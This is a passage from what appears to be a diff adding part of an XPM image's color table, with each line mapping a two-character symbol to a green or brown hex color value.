+"i. c #9AB383",
+"j. c #9AB483",
+"k. c #99B282",
+"l. c #97B080",
+"m. c #96AF7F",
+"n. c #93A879",
+"o. c #8DA375",
+"p. c #889D72",
+"q. c #81966D",
+"r. c #7E926B",
+"s. c #7B8E6A",
+"t. c #94A97C",
+"u. c #A4BD84",
+"v. c #A3BC82",
+"w. c #A1BA82",
+"x. c #A2BB83",
+"y. c #A3BB84",
+"z. c #A5BD86",
+"A. c #A5BD85",
+"B. c #A6BC7F",
+"C. c #A5BA83",
+"D. c #90A274",
+"E. c #7D9165",
+"F. c #7E9266",
+"G. c #7E9262",
+"H. c #809662",
+"I. c #7E9C61",
+"J. c #819E64",
+"K. c #83A166",
+"L. c #88A56B",
+"M. c #89A76C",
+"N. c #89A769",
+"O. c #8BA96B",
+"P. c #8CAB6B",
+"Q. c #8FAD74",
+"R. c #92AF79",
+"S. c #95B27C",
+"T. c #97B57E",
+"U. c #98B67E",
+"V. c #9AB880",
+"W. c #9CB982",
+"X. c #9CBA83",
+"Y. c #9DBA83",
+"Z. c #9BB881",
+"`. c #99B67F",
+" + c #98B57E",
+".+ c #96B27D",
+"++ c #93AB79",
+"@+ c #8CA574",
+"#+ c #879F70",
+"$+ c #829A6D",
+"%+ c #80976D",
+"&+ c #7D946C",
+"*+ c #95AC7D",
+"=+ c #A4BC85",
+"-+ c #A3BA84",
+";+ c #A3BC84",
+">+ c #A4BC88",
+",+ c #A4BC89",
+"'+ c #A6BE8B",
+")+ c #A5BE8A",
+"!+ c #A7BC83",
+"~+ c #A8BC88",
+"{+ c #94A77B",
+"]+ c #85976F",
+"^+ c #869870",
+"/+ c #83966B",
+"(+ c #859A69",
+"_+ c #84A365",
+":+ c #88A869",
+"<+ c #8CAC6D",
+"[+ c #90B071",
+"}+ c #91B172",
+"|+ c #91B170",
+"1+ c #91B26D",
+"2+ c #91B26E",
+"3+ c #91B16E",
+"4+ c #90B16C",
+"5+ c #93B370",
+"6+ c #95B376",
+"7+ c #96B47A",
+"8+ c #99B87E",
+"9+ c #9CBA80",
+"0+ c #9BBA80",
+"a+ c #9EBD82",
+"b+ c #9FBE83",
+"c+ c #A0BF84",
+"d+ c #9DBB81",
+"e+ c #9BBA7F",
+"f+ c #9AB97E",
+"g+ c #98B67D",
+"h+ c #93AD79",
+"i+ c #8DA874",
+"j+ c #87A271",
+"k+ c #849E6F",
+"l+ c #849E72",
+"m+ c #80996F",
+"n+ c #96AE80",
+"o+ c #A5BD8A",
+"p+ c #A3BB88",
+"q+ c #A7BF8C",
+"r+ c #A6BE8C",
+"s+ c #A8C08E",
+"t+ c #A8C08D",
+"u+ c #A8C08B",
+"v+ c #A8BE8B",
+"w+ c #95AA80",
+"x+ c #899C7A",
+"y+ c #8B9F78",
+"z+ c #879C71",
+"A+ c #879E71",
+"B+ c #8AA86E",
+"C+ c #8EAD70",
+"D+ c #92B274",
+"E+ c #94B776",
+"F+ c #94B875",
+"G+ c #93B872",
+"H+ c #93B973",
+"I+ c #97B976",
+"J+ c #96B976",
+"K+ c #98B976",
+"L+ c #98BB77",
+"M+ c #97B97A",
+"N+ c #99BA7D",
+"O+ c #9ABB7E",
+"P+ c #9BBD80",
+"Q+ c #9EBF82",
+"R+ c #9FC082",
+"S+ c #9FC183",
+"T+ c #A1C284",
+"U+ c #A0C184",
+"V+ c #A3BF88",
+"W+ c #A3C086",
+"X+ c #A3C087",
+"Y+ c #9FBC82",
+"Z+ c #9EBC80",
+"`+ c #9EBB80",
+" @ c #9AB77C",
+".@ c #92AF78",
+"+@ c #8DA87A",
+"@@ c #89A279",
+"#@ c #869F74",
+"$@ c #8CA378",
+"%@ c #889D73",
+"&@ c #9AB084",
+"*@ c #A7BF8D",
+"=@ c #A5BD8B",
+"-@ c #A6BE87",
+";@ c #A6BF87",
+">@ c #A5BF87",
+",@ c #A7BF89",
+"'@ c #A6C087",
+")@ c #93AB7E",
+"!@ c #8A9E7D",
+"~@ c #8FA67B",
+"{@ c #849D6D",
+"]@ c #88A072",
+"^@ c #8BA971",
+"/@ c #8FAF73",
+"(@ c #92B675",
+"_@ c #94BA74",
+":@ c #92BC71",
+"<@ c #91BE6D",
+"[@ c #94BE71",
+"}@ c #96BC78",
+"|@ c #97BD78",
+"1@ c #96BD78",
+"2@ c #98BF7A",
+"3@ c #99BF7A",
+"4@ c #9CC27E",
+"5@ c #9BC17D",
+"6@ c #9DC380",
+"7@ c #9EC480",
+"8@ c #9EC380",
+"9@ c #A1C185",
+"0@ c #A1C282",
+"a@ c #9DBE7E",
+"b@ c #9DBE7D",
+"c@ c #9CBD7B",
+"d@ c #97B875",
+"e@ c #92B273",
+"f@ c #8CA97B",
+"g@ c #88A17C",
+"h@ c #879E74",
+"i@ c #8DA074",
+"j@ c #9BB081",
+"k@ c #A7C089",
+"l@ c #A5BE88",
+"m@ c #A6BF86",
+"n@ c #93AF6E",
+"o@ c #94B06E",
+"p@ c #93B06E",
+"q@ c #93B070",
+"r@ c #95B16F",
+"s@ c #809B63",
+"t@ c #758F61",
+"u@ c #86A16B",
+"v@ c #6F8A50",
+"w@ c #728F58",
+"x@ c #729757",
+"y@ c #789E5B",
+"z@ c #7DA75D",
+"A@ c #7EAC5C",
+"B@ c #7EAE5A",
+"C@ c #81B259",
+"D@ c #81B25D",
+"E@ c #83B061",
+"F@ c #83B161",
+"G@ c #85B363",
+"H@ c #84B363",
+"I@ c #86B465",
+"J@ c #86B565",
+"K@ c #86B464",
+"L@ c #88B666",
+"M@ c #88B767",
+"N@ c #8BB468",
+"O@ c #8BB568",
+"P@ c #8BB567",
+"Q@ c #89B263",
+"R@ c #87B163",
+"S@ c #84AD5F",
+"T@ c #7EA759",
+"U@ c #7C9E59",
+"V@ c #78955F",
+"W@ c #728E5E",
+"X@ c #748F5A",
+"Y@ c #889F68",
+"Z@ c #7A905E",
+"`@ c #88A06A",
+" # c #97B472",
+".# c #97B372",
+"+# c #94B06F",
+"@# c #94B06D",
+"## c #7A994D",
+"$# c #7A9A4E",
+"%# c #799A4E",
+"&# c #799A4B",
+"*# c #607E3B",
+"=# c #537038",
+"-# c #6F8E4D",
+";# c #52712B",
+"># c #4D6D2C",
+",# c #4C752E",
+"'# c #537D32",
+")# c #598737",
+"!# c #5D8E38",
+"~# c #5E9337",
+"{# c #619838",
+"]# c #62993B",
+"^# c #62963B",
+"/# c #62973B",
+"(# c #64993D",
+"_# c #63993C",
+":# c #65993E",
+"<# c #659A3E",
+"[# c #649A3D",
+"}# c #669A40",
+"|# c #679B40",
+"1# c #679B3F",
+"2# c #6A9B3B",
+"3# c #6A9B3C",
+"4# c #6A9B3D",
+"5# c #67983C",
+"6# c #65953B",
+"7# c #5F9036",
+"8# c #59882F",
+"9# c #577B30",
+"0# c #517334",
+"a# c #4D6D30",
+"b# c #557533",
+"c# c #708C4B",
+"d# c #587037",
+"e# c #6B8647",
+"f# c #7C9C50",
+"g# c #719440",
+"h# c #719540",
+"i# c #71953F",
+"j# c #709441",
+"k# c #6F933D",
+"l# c #56792E",
+"m# c #496929",
+"n# c #6B8D45",
+"o# c #527528",
+"p# c #40631C",
+"q# c #406920",
+"r# c #436E21",
+"s# c #4A7826",
+"t# c #4F8129",
+"u# c #518729",
+"v# c #558C2A",
+"w# c #568E2B",
+"x# c #568D2B",
+"y# c #578F2B",
+"z# c #57902C",
+"A# c #59912D",
+"B# c #59912C",
+"C# c #59912E",
+"D# c #59902D",
+"E# c #5D9228",
+"F# c #5C9027",
+"G# c #5A8E2A",
+"H# c #5A8D2C",
+"I# c #56892B",
+"J# c #508226",
+"K# c #4A7B23",
+"L# c #476E21",
+"M# c #416721",
+"N# c #3F631E",
+"O# c #577A2F",
+"P# c #6A8A42",
+"Q# c #4A6529",
+"R# c #5D7C38",
+"S# c #709440",
+"T# c #6A913A",
+"U# c #6B923A",
+"V# c #6A923B",
+"W# c #699037",
+"X# c #507528",
+"Y# c #436724",
+"Z# c #678C41",
+"`# c #5E8533",
+" $ c #42671D",
+".$ c #3E631D",
+"+$ c #3F671D",
+"@$ c #456E20",
+"#$ c #4A7823",
+"$$ c #4C7D23",
+"%$ c #518325",
+"&$ c #528625",
+"*$ c #528923",
+"=$ c #548A24",
+"-$ c #558C26",
+";$ c #568D27",
+">$ c #568C25",
+",$ c #588B23",
+"'$ c #578924",
+")$ c #558626",
+"!$ c #538328",
+"~$ c #4E7D28",
+"{$ c #487625",
+"]$ c #437020",
+"^$ c #3D671B",
+"/$ c #3B621B",
+"($ c #436920",
+"_$ c #618538",
+":$ c #66883E",
+"<$ c #446126",
+"[$ c #597935",
+"}$ c #668E36",
+"|$ c #668E35",
+"1$ c #658D36",
+"2$ c #648C33",
+"3$ c #4B7225",
+"4$ c #416522",
+"5$ c #61873B",
+"6$ c #658B3B",
+"7$ c #52762D",
+"8$ c #3E5D1B",
+"9$ c #3D5E19",
+"0$ c #40641B",
+"a$ c #466E1E",
+"b$ c #48731E",
+"c$ c #4D7921",
+"d$ c #4F7F21",
+"e$ c #4F821F",
+"f$ c #518421",
+"g$ c #538622",
+"h$ c #538723",
+"i$ c #548722",
+"j$ c #548724",
+"k$ c #548723",
+"l$ c #558320",
+"m$ c #538122",
+"n$ c #517E24",
+"o$ c #4D7926",
+"p$ c #477326",
+"q$ c #416B22",
+"r$ c #3B661D",
+"s$ c #376117",
+"t$ c #39611C",
+"u$ c #50772D",
+"v$ c #63893A",
+"w$ c #60833A",
+"x$ c #405E25",
+"y$ c #547633",
+"z$ c #628A33",
+"A$ c #628A32",
+"B$ c #608833",
+"C$ c #638832",
+"D$ c #4E6E28",
+"E$ c #436023",
+"F$ c #608038",
+"G$ c #638835",
+"H$ c #5C8334",
+"I$ c #446720",
+"J$ c #375A16",
+"K$ c #3B5F1C",
+"L$ c #3F6420",
+"M$ c #42681E",
+"N$ c #486F1E",
+"O$ c #49761E",
+"P$ c #497A21",
+"Q$ c #4C7D21",
+"R$ c #4E8022",
+"S$ c #508122",
+"T$ c #518222",
+"U$ c #528423",
+"V$ c #518322",
+"W$ c #518324",
+"X$ c #518323",
+"Y$ c #4F811C",
+"Z$ c #50821B",
+"`$ c #50821D",
+" % c #50821F",
+".% c #508221",
+"+% c #4F811F",
+"@% c #4F8020",
+"#% c #517B21",
+"$% c #4F7921",
+"%% c #4C7522",
+"&% c #497122",
+"*% c #41691F",
+"=% c #3E651E",
+"-% c #385F19",
+";% c #355D11",
+">% c #436A1E",
+",% c #5C8132",
+"'% c #618535",
+")% c #5D7C33",
+"!% c #405C1F",
+"~% c #52732C",
+"{% c #618A33",
+"]% c #5D8630",
+"^% c #5E8630",
+"/% c #5E8530",
+"(% c #5C832F",
+"_% c #608330",
+":% c #4E6A28",
+"<% c #425B22",
+"[% c #5F7C35",
+"}% c #5E832E",
+"|% c #5D8432",
+"1% c #517829",
+"2% c #3B6016",
+"3% c #355917",
+"4% c #385C1C",
+"5% c #3D611B",
+"6% c #40661C",
+"7% c #426C1C",
+"8% c #42711E",
+"9% c #45751F",
+"0% c #487820",
+"a% c #4A7A20",
+"b% c #4C7C1F",
+"c% c #4D7E21",
+"d% c #4D7E22",
+"e% c #4B7E18",
+"f% c #4B7E17",
+"g% c #4B7E19",
+"h% c #4B7D1B",
+"i% c #4B7C1D",
+"j% c #497A1E",
+"k% c #49781D",
+"l% c #4B721F",
+"m% c #49701F",
+"n% c #466C1E",
+"o% c #3C611B",
+"p% c #3B601B",
+"q% c #365B16",
+"r% c #3E6516",
+"s% c #537929",
+"t% c #5E8230",
+"u% c #608031",
+"v% c #5A792F",
+"w% c #415B1A",
+"x% c #507027",
+"y% c #59812B",
+"z% c #577E2A",
+"A% c #5A7E2B",
+"B% c #496523",
+"C% c #3E561E",
+"D% c #5A7731",
+"E% c #597F29",
+"F% c #59812C",
+"G% c #577E29",
+"H% c #4C7322",
+"I% c #395D15",
+"J% c #335815",
+"K% c #355915",
+"L% c #375C17",
+"M% c #386018",
+"N% c #3B6717",
+"O% c #3E6B1A",
+"P% c #416E1A",
+"Q% c #43711C",
+"R% c #46731B",
+"S% c #47751A",
+"T% c #48761C",
+"U% c #48771D",
+"V% c #467716",
+"W% c #467614",
+"X% c #467617",
+"Y% c #467518",
+"Z% c #457318",
+"`% c #43711A",
+" & c #416E19",
+".& c #42681D",
+"+& c #3F651B",
+"@& c #3C611A",
+"#& c #3A5F1A",
+"$& c #385C19",
+"%& c #345817",
+"&& c #395E1A",
+"*& c #4D7425",
+"=& c #5A8031",
+"-& c #5A7E2C",
+";& c #5C7D2D",
+">& c #57752C",
+",& c #3D5817",
+"'& c #4C6C24",
+")& c #59812A",
+"!& c #567E28",
+"~& c #557D28",
+"{& c #537B27",
+"]& c #567A27",
+"^& c #466120",
+"/& c #3B541B",
+"(& c #57742E",
+"_& c #567C26",
+":& c #567D28",
+"<& c #537C22",
+"[& c #537A24",
+"}& c #486E1E",
+"|& c #375D14",
+"1& c #315612",
+"2& c #305415",
+"3& c #325916",
+"4& c #355E14",
+"5& c #386217",
+"6& c #3A6417",
+"7& c #3E6819",
+"8& c #3F6A18",
+"9& c #416C17",
+"0& c #436E1A",
+"a& c #446F1B",
+"b& c #436F1B",
+"c& c #456F1C",
+"d& c #456F1D",
+"e& c #426F16",
+"f& c #436F16",
+"g& c #426D16",
+"h& c #416D19",
+"i& c #406A18",
+"j& c #3C6619",
+"k& c #395D1A",
+"l& c #355A17",
+"m& c #325714",
+"n& c #325614",
+"o& c #385D1B",
+"p& c #496E29",
+"q& c #557C2D",
+"r& c #567C2D",
+"s& c #557927",
+"t& c #58792A",
+"u& c #547128",
+"v& c #3B5615",
+"w& c #496920",
+"x& c #557E28",
+"y& c #517923",
+"z& c #527A24",
+"A& c #517924",
+"B& c #507623",
+"C& c #547724",
+"D& c #435F1D",
+"E& c #3A531A",
+"F& c #55722C",
+"G& c #537923",
+"H& c #537A25",
+"I& c #517822",
+"J& c #527A22",
+"K& c #507822",
+"L& c #486E1F",
+"M& c #395E15",
+"N& c #2F5311",
+"O& c #2F5412",
+"P& c #315813",
+"Q& c #335A15",
+"R& c #365D16",
+"S& c #375F15",
+"T& c #396015",
+"U& c #3B6214",
+"V& c #3C6416",
+"W& c #3D6517",
+"X& c #3F6719",
+"Y& c #3F6716",
+"Z& c #3D6616",
+"`& c #3C6415",
+" * c #3A6217",
+".* c #395F17",
+"+* c #385E17",
+"@* c #345818",
+"#* c #325615",
+"$* c #2D510F",
+"%* c #2E530F",
+"&* c #395E18",
+"** c #486D26",
+"=* c #51762E",
+"-* c #52782A",
+";* c #527828",
+">* c #547726",
+",* c #547626",
+"'* c #516F25",
+")* c #395313",
+"!* c #45661E",
+"~* c #527A23",
+"{* c #4D751F",
+"]* c #4D751E",
+"^* c #4C7320",
+"/* c #517421",
+"(* c #405C1A",
+"_* c #375017",
+":* c #516E28",
+"<* c #4F741F",
+"[* c #4E7523",
+"}* c #4C7424",
+"|* c #4D7521",
+"1* c #4D751D",
+"2* c #486F1F",
+"3* c #3B6017",
+"4* c #2F5411",
+"5* c #2C5011",
+"6* c #2C500F",
+"7* c #305511",
+"8* c #315611",
+"9* c #335810",
+"0* c #345A0F",
+"a* c #355B11",
+"b* c #355B12",
+"c* c #375D13",
+"d* c #375D12",
+"e* c #355B10",
+"f* c #345A12",
+"g* c #335812",
+"h* c #315512",
+"i* c #2F5413",
+"j* c #2E5212",
+"k* c #2D5210",
+"l* c #2C510D",
+"m* c #30550F",
+"n* c #3C6219",
+"o* c #466D20",
+"p* c #4C7324",
+"q* c #4D7325",
+"r* c #4C7325",
+"s* c #4E7324",
+"t* c #4F7321",
+"u* c #517224",
+"v* c #4E6C22",
+"w* c #36500F",
+"x* c #42631A",
+"y* c #4A721C",
+"z* c #4A711B",
+"A* c #4A701D",
+"B* c #4D711E",
+"C* c #3C5A16",
+"D* c #334D12",
+"E* c #4D6B23",
+"F* c #4A6F1A",
+"G* c #4A701E",
+"H* c #4A7024",
+"I* c #4A701F",
+"J* c #4A7119",
+"K* c #487017",
+"L* c #4B721C",
+"M* c #476E1E",
+"N* c #40661F",
+"O* c #385A1D",
+"P* c #2E5112",
+"Q* c #2D500F",
+"R* c #2B500B",
+"S* c #2C500B",
+"T* c #2E530B",
+"U* c #2E520B",
+"V* c #2E520C",
+"W* c #2D520B",
+"X* c #2F540D",
+"Y* c #30540E",
+"Z* c #30540D",
+"`* c #2F530D",
+" = c #2E510B",
+".= c #2C4F0B",
+"+= c #2C500D",
+"@= c #2D5010",
+"#= c #2C4E11",
+"$= c #2B4F10",
+"%= c #305510",
+"&= c #395E17",
+"*= c #43691F",
+"== c #476E20",
+"-= c #476E1D",
+";= c #49701B",
+">= c #4A711D",
+",= c #4A6F22",
+"'= c #497020",
+")= c #4B701D",
+"!= c #4E701F",
+"~= c #4B6920",
+"{= c #324E0C",
+"]= c #3F6116",
+"^= c #49721B",
+"/= c #476F19",
+"(= c #466E18",
+"_= c #476F1A",
+":= c #476E19",
+"<= c #385E0E",
+"[= c #2E5406",
+"}= c #446B18",
+"|= c #436B15",
+"1= c #456D18",
+"2= c #476D1B",
+"3= c #476F18",
+"4= c #476E1F",
+"5= c #446A21",
+"6= c #3D621A",
+"7= c #385D14",
+"8= c #30550C",
+"9= c #2D5109",
+"0= c #2A4F05",
+"a= c #284D09",
+"b= c #294D0C",
+"c= c #294D0A",
+"d= c #294D0B",
+"e= c #2B4F0D",
+"f= c #294F08",
+"g= c #294D08",
+"h= c #294E07",
+"i= c #284D07",
+"j= c #325612",
+"k= c #416816",
+"l= c #446C19",
+"m= c #476E1A",
+"n= c #476D19",
+"o= c #466F18",
+"p= c #486F19",
+"q= c #436917",
+"r= c #2E5304",
+"s= c #3A600E",
+"t= c #416913",
+"u= c #406812",
+"v= c #3C640E",
+"w= c #426A14",
+"x= c #436B14",
+"y= c #426A17",
+"z= c #42681B",
+"A= c #41671A",
+"B= c #3D6316",
+"C= c #385E10",
+"D= c #2C520C",
+"E= c #2B500A",
+"F= c #2E530D",
+"G= c #2E5409",
+"H= c #31560C",
+"I= c #3A5F14",
+"J= c #3D6317",
+"K= c #40661A",
+"L= c #42691C",
+"M= c #3B630E",
+"N= c #3E6610",
+"O= c #3F6710",
+"P= c #3F6711",
+"Q= c #3E6714",
+"R= c #3F6617",
+"S= c #3D6415",
+"T= c #406718",
+"U= c #406618",
+"V= c #3E6616",
+"W= c #3E6515",
+"X= c #3B6212",
+"Y= c #3B6111",
+"Z= c #3D6314",
+"`= c #3D6214",
+" - c #3D6412",
+".- c #3E6413",
+"+- c #406715",
+"@- c #3E6713",
+"#- c #3F6714",
+"$- c #406614",
+"%- c #406811",
+"&- c #3D650F",
+"*- c #3B630D",
+"=- c #3B630F",
+"-- c #3B6211",
+";- c #3D6414",
+">- c #3E6514",
+",- c #3C6312",
+"'- c #3D650C",
+")- c #3D650D",
+"!- c #3D640C",
+"~- c #3D650E",
+"{- c #3E660E",
+"]- c #3E660D",
+"^- c #3E660F",
+"/- c #3A620C",
+"(- c #3B620D",
+"_- c #3B620F",
+":- c #3B610B",
+"<- c #3B630A",
+"[- c #3B630B",
+"}- c #375F09",
+"|- c #375F0A",
+"1- c #375F08",
+"2- c #375F07",
+"3- c #375F0B",
+"4- c #345C06",
+"5- c #345C07",
+"6- c #335C07",
+"7- c #355C07",
+"8- c #355C05",
+"9- c #355C04",
+"0- c #355C06",
+"a- c #355A09",
+"b- c #355B0A",
+"c- c #355B09",
+"d- c #355B06",
+"e- c #355D06",
+"f- c #335C06",
+"g- c #2E5704",
+"h- c #305804",
+"i- c #305806",
+"j- c #305906",
+"k- c #305704",
+"l- c #305805",
+"m- c #325605",
+"n- c #335705",
+"o- c #335605",
+"p- c #325604",
+"q- c #345806",
+"r- c #355807",
+"s- c #335706",
+"t- c #335704",
+"u- c #335505",
+"v- c #325606",
+"w- c #345906",
+"x- c #335805",
+"y- c #325903",
+"z- c #325B01",
+"A- c #325B02",
+"B- c #315A02",
+"C- c #2F5800",
+"D- c #305901",
+"E- c #305900",
+"F- c #335503",
+"G- c #355305",
+"H- c #355404",
+"I- c #2D5601",
+"J- c #2E5702",
+"K- c #2F5703",
+"L- c #305904",
+"M- c #2F5804",
+"N- c #315502",
+"O- c #325603",
+"P- c #315503",
+"Q- c #315602",
+"R- c #305503",
+"S- c #315504",
+"T- c #305404",
+"U- c #325704",
+"V- c #315704",
+"W- c #325502",
+"X- c #305602",
+"Y- c #315900",
+"Z- c #315901",
+"`- c #305701",
+" ; c #2E5700",
+".; c #2F5700",
+"+; c #2E5600",
+"@; c #315500",
+"#; c #335501",
+"$; c #335500",
+"%; c #737E40",
+"&; c #737D40",
+"*; c #717D3E",
+"=; c #727C3F",
+"-; c #727D40",
+";; c #747B3F",
+">; c #757C40",
+",; c #73793D",
+"'; c #71793D",
+"); c #72793D",
+"!; c #71793C",
+"~; c #737A3E",
+"{; c #71783C",
+"]; c #70773B",
+"^; c #71773C",
+"/; c #757C3F",
+"(; c #747B3E",
+"_; c #737C3C",
+":; c #737D39",
+"<; c #737D3A",
+"[; c #727B39",
+"}; c #707B38",
+"|; c #717B38",
+"1; c #717B37",
+"2; c #717A36",
+"3; c #CAAE84",
+"4; c #C9AE83",
+"5; c #C7AB80",
+"6; c #C3A77D",
+"7; c #C4A97D",
+"8; c #C6AA80",
+"9; c #C5A97E",
+"0; c #C9AA80",
+"a; c #CAAA81",
+"b; c #C9A980",
+"c; c #C6A67D",
+"d; c #C6A57C",
+"e; c #C8A87F",
+"f; c #C9AA81",
+"g; c #C7A77E",
+"h; c #C3A37A",
+"i; c #BF9F76",
+"j; c #C1A178",
+"k; c #C3A379",
+"l; c #C2A179",
+"m; c #C0A077",
+"n; c #C2A279",
+"o; c #C09F77",
+"p; c #C0A177",
+"q; c #C4A47B",
+"r; c #C6A67C",
+"s; c #C5A67C",
+"t; c #CBAB82",
+"u; c #CCAB81",
+"v; c #CCAB82",
+"w; c #CAAB81",
+"x; c #C8A77E",
+"y; c #C5A57C",
+"z; c #C7A67D",
+"A; c #C7A87F",
+"B; c #C9A97F",
+"C; c #C9A87F",
+"D; c #C4A37B",
+"E; c #C4A478",
+"F; c #C2A273",
+"G; c #C3A375",
+"H; c #C4A475",
+"I; c #C0A172",
+"J; c #C1A171",
+"K; c #C1A173",
+"L; c #C1A373",
+"M; c #C2A374",
+"N; c #C2A373",
+"O; c #CC9F6B",
+"P; c #D0A370",
+"Q; c #D0A36F",
+"R; c #CB9E6B",
+"S; c #CDA06C",
+"T; c #CCA06C",
+"U; c #CE9C69",
+"V; c #CC9A67",
+"W; c #C99765",
+"X; c #CB9966",
+"Y; c #C79664",
+"Z; c #C49260",
+"`; c #C89764",
+" > c #CA9965",
+".> c #C89765",
+"+> c #C79563",
+"@> c #C2915E",
+"#> c #C08F5C",
+"$> c #C3925F",
+"%> c #BF8F5B",
+"&> c #BD8B59",
+"*> c #C3915F",
+"=> c #C69462",
+"-> c #C89664",
+";> c #CB9A67",
+">> c #CB9968",
+",> c #CB9B67",
+"'> c #CD9C69",
+")> c #CD9B68",
+"!> c #CE9D6A",
+"~> c #CE9C6A",
+"{> c #CA9866",
+"]> c #C69562",
+"^> c #C1905D",
+"/> c #C2905E",
+"(> c #C69461",
+"_> c #CA9966",
+":> c #C59461",
+"<> c #C5935F",
+"[> c #C28F59",
+"}> c #C3915A",
+"|> c #C7945E",
+"1> c #C5935D",
+"2> c #C08E58",
+"3> c #BC8853",
+"4> c #BB8654",
+"5> c #BB8655",
+"6> c #BA8655",
+"7> c #BC8A4B",
+"8> c #C1904F",
+"9> c #BF8D4D",
+"0> c #C19050",
+"a> c #C29050",
+"b> c #BE8C4C",
+"c> c #C28D4E",
+"d> c #C18A4C",
+"e> c #BD8649",
+"f> c #BD8749",
+"g> c #BB8547",
+"h> c #B78142",
+"i> c #B88244",
+"j> c #B68042",
+"k> c #B98244",
+"l> c #BB8447",
+"m> c #BC8648",
+"n> c #BA8446",
+"o> c #BE874A",
+"p> c #BD8648",
+"q> c #B68041",
+"r> c #B98445",
+"s> c #BA8445",
+"t> c #B88245",
+"u> c #B98344",
+"v> c #BE8749",
+"w> c #C08A4C",
+"x> c #BF894B",
+"y> c #BE894B",
+"z> c #C0894B",
+"A> c #BF884A",
+"B> c #BA8546",
+"C> c #B78143",
+"D> c #B88345",
+"E> c #BA8346",
+"F> c #B78144",
+"G> c #BA8345",
+"H> c #BB8546",
+"I> c #BB8446",
+"J> c #BE884A",
+"K> c #BD8546",
+"L> c #BC8342",
+"M> c #BD8443",
+"N> c #C08646",
+"O> c #BB8342",
+"P> c #B67C3B",
+"Q> c #AA702F",
+"R> c #A76830",
+"S> c #A4622F",
+"T> c #A3622F",
+"U> c #B78145",
+"V> c #C58E52",
+"W> c #BF874B",
+"X> c #BC8347",
+"Y> c #B98345",
+"Z> c #B88344",
+"`> c #B88146",
+" , c #B98146",
+"., c #B98045",
+"+, c #B98046",
+"@, c #BB8348",
+"#, c #BA8046",
+"$, c #B97E44",
+"%, c #BB7F45",
+"&, c #B87D43",
+"*, c #B87C42",
+"=, c #B67B41",
+"-, c #B5793E",
+";, c #B3783E",
+">, c #B2773C",
+",, c #B07539",
+"', c #AD7236",
+"), c #AD7136",
+"!, c #AA6E33",
+"~, c #AD7237",
+"{, c #AE7336",
+"], c #AD7135",
+"^, c #B67B3F",
+"/, c #B87E41",
+"(, c #B67C3F",
+"_, c #B77C40",
+":, c #B77D3F",
+"<, c #B67D41",
+"[, c #B87F42",
+"}, c #B98043",
+"|, c #BA8144",
+"1, c #BF8449",
+"2, c #BD8248",
+"3, c #BF8349",
+"4, c #BE8348",
+"5, c #BB8145",
+"6, c #B67C40",
+"7, c #B4793C",
+"8, c #B77B3F",
+"9, c #BA7E42",
+"0, c #BC8044",
+"a, c #BB7F43",
+"b, c #BC8145",
+"c, c #B97D41",
+"d, c #B6783A",
+"e, c #B67636",
+"f, c #B67738",
+"g, c #B97A3B",
+"h, c #BD7D3F",
+"i, c #B9783B",
+"j, c #AE6E31",
+"k, c #AB6330",
+"l, c #A95E2F",
+"m, c #A95C2D",
+"n, c #A6733B",
+"o, c #BD874F",
+"p, c #C48852",
+"q, c #B98044",
+"r, c #BD8A4B",
+"s, c #C39252",
+"t, c #C59557",
+"u, c #C59457",
+"v, c #C49255",
+"w, c #C79256",
+"x, c #C99257",
+"y, c #C38B51",
+"z, c #C58A51",
+"A, c #C48853",
+"B, c #C48851",
+"C, c #C38752",
+"D, c #C18650",
+"E, c #BD814B",
+"F, c #BA7F48",
+"G, c #B97E46",
+"H, c #B87D45",
+"I, c #B47941",
+"J, c #B57A42",
+"K, c #B2773F",
+"L, c #B37840",
+"M, c #B87D41",
+"N, c #BB8044",
+"O, c #BE8347",
+"P, c #BF8448",
+"Q, c #BA7F43",
+"R, c #B27C3E",
+"S, c #B47E40",
+"T, c #B58042",
+"U, c #B68142",
+"V, c #B68143",
+"W, c #B98346",
+"X, c #C18551",
+"Y, c #C28651",
+"Z, c #C0844E",
+"`, c #BD8149",
+" ' c #BC8147",
+".' c #B57A3E",
+"+' c #BB7E43",
+"@' c #BF8045",
+"#' c #C28449",
+"$' c #BF8247",
+"%' c #C08348",
+"&' c #BD7F40",
+"*' c #BD803A",
+"=' c #BC7F3D",
+"-' c #BE8140",
+";' c #BB7E3F",
+">' c #B4763A",
+",' c #AE6F34",
+"'' c #B06E35",
+")' c #B67239",
+"!' c #B26F36",
+"~' c #7F5123",
+"{' c #9C6A3D",
+"]' c #B2794B",
+"^' c #B27541",
+"/' c #B87B44",
+"(' c #BE864A",
+"_' c #C28D4D",
+":' c #C18C49",
+"<' c #BC8643",
+"[' c #BC8441",
+"}' c #BE8141",
+"|' c #C08243",
+"1' c #C18343",
+"2' c #BF8041",
+"3' c #BC8144",
+"4' c #BD8244",
+"5' c #BD8144",
+"6' c #BC8143",
+"7' c #BB8042",
+"8' c #B97E42",
+"9' c #BA7F47",
+"0' c #BD8249",
+"a' c #C0854D",
+"b' c #C2874F",
+"c' c #C38850",
+"d' c #C78C51",
+"e' c #C88D51",
+"f' c #C4894D",
+"g' c #C08549",
+"h' c #BD8246",
+"i' c #BB8144",
+"j' c #B77D41",
+"k' c #BE8448",
+"l' c #BE8446",
+"m' c #BD8348",
+"n' c #C0844F",
+"o' c #C18550",
+"p' c #BE824B",
+"q' c #BF844A",
+"r' c #C1874B",
+"s' c #C18749",
+"t' c #C08546",
+"u' c #BF8145",
+"v' c #C08246",
+"w' c #C08245",
+"x' c #C48649",
+"y' c #C4864A",
+"z' c #C48646",
+"A' c #C38742",
+"B' c #C58946",
+"C' c #CA8D4C",
+"D' c #C18447",
+"E' c #B7793D",
+"F' c #B07237",
+"G' c #B27641",
+"H' c #B67A48",
+"I' c #B27644",
+"J' c #6C4321",
+"K' c #744522",
+"L' c #8F5933",
+"M' c #96592D",
+"N' c #A0612F",
+"O' c #AF7137",
+"P' c #BD8245",
+"Q' c #BF8C4D",
+"R' c #BF8A4B",
+"S' c #BA8043",
+"T' c #C18649",
+"U' c #C38549",
+"V' c #C38647",
+"W' c #C08444",
+"X' c #BD8141",
+"Y' c #BC803F",
+"Z' c #BD7F3F",
+"`' c #BE8142",
+" ) c #BC8142",
+".) c #BB8045",
+"+) c #B87D42",
+"@) c #C2874B",
+"#) c #C1864A",
+"$) c #B2773B",
+"%) c #B6783D",
+"&) c #B07136",
+"*) c #B07036",
+"=) c #B3743A",
+"-) c #B5763B",
+";) c #B7783D",
+">) c #B7793F",
+",) c #B47742",
+"') c #B77C45",
+")) c #B77C43",
+"!) c #BA7F44",
+"~) c #BD8345",
+"{) c #BD8344",
+"]) c #BA8040",
+"^) c #BA7D3E",
+"/) c #B67A3A",
+"() c #B47638",
+"_) c #B87B3C",
